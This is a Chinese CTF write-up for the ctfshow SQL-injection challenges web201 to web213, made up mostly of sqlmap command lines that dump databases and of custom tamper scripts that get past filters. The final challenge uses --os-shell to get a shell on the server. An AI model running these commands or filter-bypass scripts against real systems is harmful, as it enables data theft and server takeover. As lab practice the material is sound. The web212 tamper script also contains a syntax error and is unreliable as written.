ctfshow(web201-web213)

目录

web201 

web202

web203

web204

web205

web206

web207

web208

web209

web210

web211

web212

web213


系统练习salmap使用


web201 

ctfshow(web201-web213)_第1张图片

正常抓包试一下 

ctfshow(web201-web213)_第2张图片

报错原因 不使用sqlmap是没有灵魂的(json解码 浏览器方式也行)

ctfshow(web201-web213)_第3张图片

ctfshow(web201-web213)_第4张图片

题目提示 指定user-agent 我们修改user-agent为sqlmap

成功 但是这个提示说指定referer 我没搞懂什么意思 已经成功了  可能是如果需要对referer进行判断的时候 我们需要对referer进行修改 最后发现判断注入点的时候 不需要指定referer 但是进行注入的时候 必须指定referer为ctf.show 这个ctf.show字符串如果抓包是找不到提示的 必须在原浏览器进行一步一步测试 

ctfshow(web201-web213)_第5张图片

sqlmap注入

python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" --dbs
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

web202

提示 就是将get方式改为post方式 --data就是请求体的数据

python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show 
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" --dbs 
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

web203

提示要用--method改变请求方式,这里使用PUT请求,但是要记得加上设置Content-Type头,否则会变成表单提交:

ctfshow(web201-web213)_第6张图片

切记要加上index.php 否则不好使

python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show 
python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" --dbs 
python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

web204

这个cookie卡了很久 页面刷新会更新cookie 所以页面不要动

我用的是这里的cookie 不对 这里的sessid可以使用

ctfshow(web201-web213)_第7张图片

正确的cookie在这里

并且两个cookie都需要传参 

 python .\sqlmap.py -u "http://20815594-bf49-434d-81ff-27084740e293.challenge.ctf.show/api/index.php" --data "id=1" --method=PUT --header="Content-Type:text/plain" --cookie="PHPSESSID=gsalkdjo8546dqc4dhoqt1bc7u; ctfshow=161f311aae7f4a6afff53434bdcb956d" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

web205

先看一下cookie

ctfshow(web201-web213)_第8张图片

抓包 估计这就是鉴权的意思 先访问一个指定页面传入cookie 然后才进行传值

ctfshow(web201-web213)_第9张图片

ctfshow(web201-web213)_第10张图片

--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置几次访问一次鉴权页面
python sqlmap.py -u "http://a1e31d07-94cb-4dd1-9410-035bd768cf3c.challenge.ctf.show/api/index.php" --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://a1e31d07-94cb-4dd1-9410-035bd768cf3c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch

web206

这道题 sql语句没有闭合 但是sqlmap会自动处理的 不影响我们

这里我测试 不使用cookie也可以 但是必须要有访问鉴权的页面的操作 我查看鉴权页面也需要传入cookie 但是脚本不需要cookie也可以 

我是这么理解的 上一题中 api页面会检查cookie 所以必须传入cookie 鉴权页面不需要cookie 但是必须要访问鉴权页面 要有这个过程 这道题api页面不需要cookie 

正常脚本

python .\sqlmap.py -u http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" -D ctfshow_web -T ctfshow_flaxc --dump

加上多余的操作 就是闭合sql语句

python .\sqlmap.py -u http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" -D ctfshow_web -T ctfshow_flaxc --dump

web207

对传入的参数开始过滤了,使用tamper应对。
这一题过滤了空格,可以使用注释进行绕过,使用sqlmap自带的space2comment.py进行绕过:

ctfshow(web201-web213)_第11张图片

cookie无关紧要上一关我说了原因

 python .\sqlmap.py -u http://c6dce674-f235-4dd2-ac96-0edffefe4bf9.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://c6dce674-f235-4dd2-ac96-0edffefe4bf9.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca --dump

web208

ctfshow(web201-web213)_第12张图片

对小写的select和空格进行了绕过,不过sqlmap中的select都是大写的,所以和上一题一样即可:

 python .\sqlmap.py -u http://4277d88c-cc2d-4da1-b38f-698c23e43993.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://4277d88c-cc2d-4da1-b38f-698c23e43993.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca --dump

为了学习编写sqlmap的插件 把SELECT 替换成seselectlect

脚本

#!/usr/bin/env python
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def tamper(payload, **kwargs):

    if payload:
        payload = payload.replace("SELECT", "select")#就修改这一行了
    return payload

exp

 python .\sqlmap.py -u http://4277d88c-cc2d-4da1-b38f-698c23e43993.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://4277d88c-cc2d-4da1-b38f-698c23e43993.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" --tamper space2comment.py,bigsmalldouble.py -D ctfshow_web -T ctfshow_flaxca --dump -v 6

web209

单引号也被过滤了 以及*号 还有=号 不过select 并且sql语句没有了()

ctfshow(web201-web213)_第13张图片

过滤了空格,*号和等号,使用%09绕过空格,使用like绕过等号,基于此改一下tamper即可

不用之前的脚本了  之前是把空格替换成/**/ 但是*被禁用了

sqlmap自定义 脚本

注意 在python中 尽量不要使用%2A了 就是用char(0x2A)  %在python中有别的意思

#!/usr/bin/env python
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def tamper(payload, **kwargs):

    if payload:
        payload = payload.replace("*", chr(0x2A))
        payload = payload.replace(" ",chr(0x0a))
        payload = payload.replace("=",chr(0x0a)+"like"+chr(0x0a))
    return payload

exp

python .\sqlmap.py -u http://f8d58395-ce78-4788-a2ba-a38f30b6876d.challenge.ctf.show/api/index.php --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://f8d58395-ce78-4788-a2ba-a38f30b6876d.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=d16k1cskngbt95g7tv53q70tc4" --tamper 209.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --batch

web210

对查询的id位置进行解密

ctfshow(web201-web213)_第14张图片

可算明白了 就是对传入的id 进行解密处理 从而让sql语句无法执行成功  

我们按照他的方式 反着构造一个加密脚本 这样传进去后 服务器对id进行一系列操作就变成了 我们想到的id的值了

加密脚本


web211

过滤了 在web210的基础上过滤了空格 将空格替换成%0a

ctfshow(web201-web213)_第15张图片

脚本

#!/usr/bin/env python
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.HIGHEST
def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = retVal.replace(" ", chr(0x0a))
        retVal = retVal.encode()#加密
        retVal = retVal[::-1]#反转
        retVal = base64.b64encode(retVal)
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal)
        retVal = retVal.decode()
    return retVal

exp

python .\sqlmap.py -u http://d2e3106c-45b9-46c8-b332-22ec0c0daeca.challenge.ctf.show/api/index.php --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://d2e3106c-45b9-46c8-b332-22ec0c0daeca.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=d16k1cskngbt95g7tv53q70tc4" --tamper 211.py -D ctfshow_web -T ctfshow_flav -T ctfshow_flavi -C ctfshow_flagxx --dump

得出flag

ctfshow(web201-web213)_第16张图片


web212

*号也被过滤了 上一个脚本 按理说是无影响的 但是就怕payload使用到了*号 还是把*号替换一下

ctfshow(web201-web213)_第17张图片

脚本

#!/usr/bin/env python
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.HIGHEST
def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = retVal.replace(" ", chr(0x0a))
#这里要注意 本来我就想把*替换成chr(0x2A) 但是不可以 以后的做法就是 使用-v -6查看详细信息 观察 哪些语句使用了*号 把整个语句换成比别的 例如下面的
        retVal = retVal.replace("COUNT(*)", COUNT(id))
        retVal = retVal.encode()#加密
        retVal = retVal[::-1]#反转
        retVal = base64.b64encode(retVal)
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal)
        retVal = retVal.decode()

    return retVal

exp

python .\sqlmap.py -u http://48aa715c-dd6b-407c-86f1-d4c40f0d8562.challenge.ctf.show/api/index.php --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://48aa715c-dd6b-407c-86f1-d4c40f0d8562.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=d16k1cskngbt95g7tv53q70tc4" --tamper 212.py -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump

web213

一键getshell

ctfshow(web201-web213)_第18张图片

使用刚刚脚本就行

他给出的payload 不需要替换* 0x0a 不可以就换成0x09 0a是换行 -- -中间的空格如果换成换行那就失去注释的意义

#!/usr/bin/env python
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.HIGHEST
def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = retVal.replace(" ", chr(0x09))
        retVal = retVal.encode()#加密
        retVal = retVal[::-1]#反转
        retVal = base64.b64encode(retVal)
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal)
        retVal = retVal.decode()

    return retVal
python .\sqlmap.py -u http://56482765-334e-4108-8645-1a1fb904e475.challenge.ctf.show/api/index.php --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://56482765-334e-4108-8645-1a1fb904e475.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=d16k1cskngbt95g7tv53q70tc4" --tamper 213.py -D ctfshow_web --os-shell

ctfshow(web201-web213)_第19张图片

你可能感兴趣的:(SQL注入,ctfshow(sql注入),安全,web安全,sql注入,网络安全,渗透测试)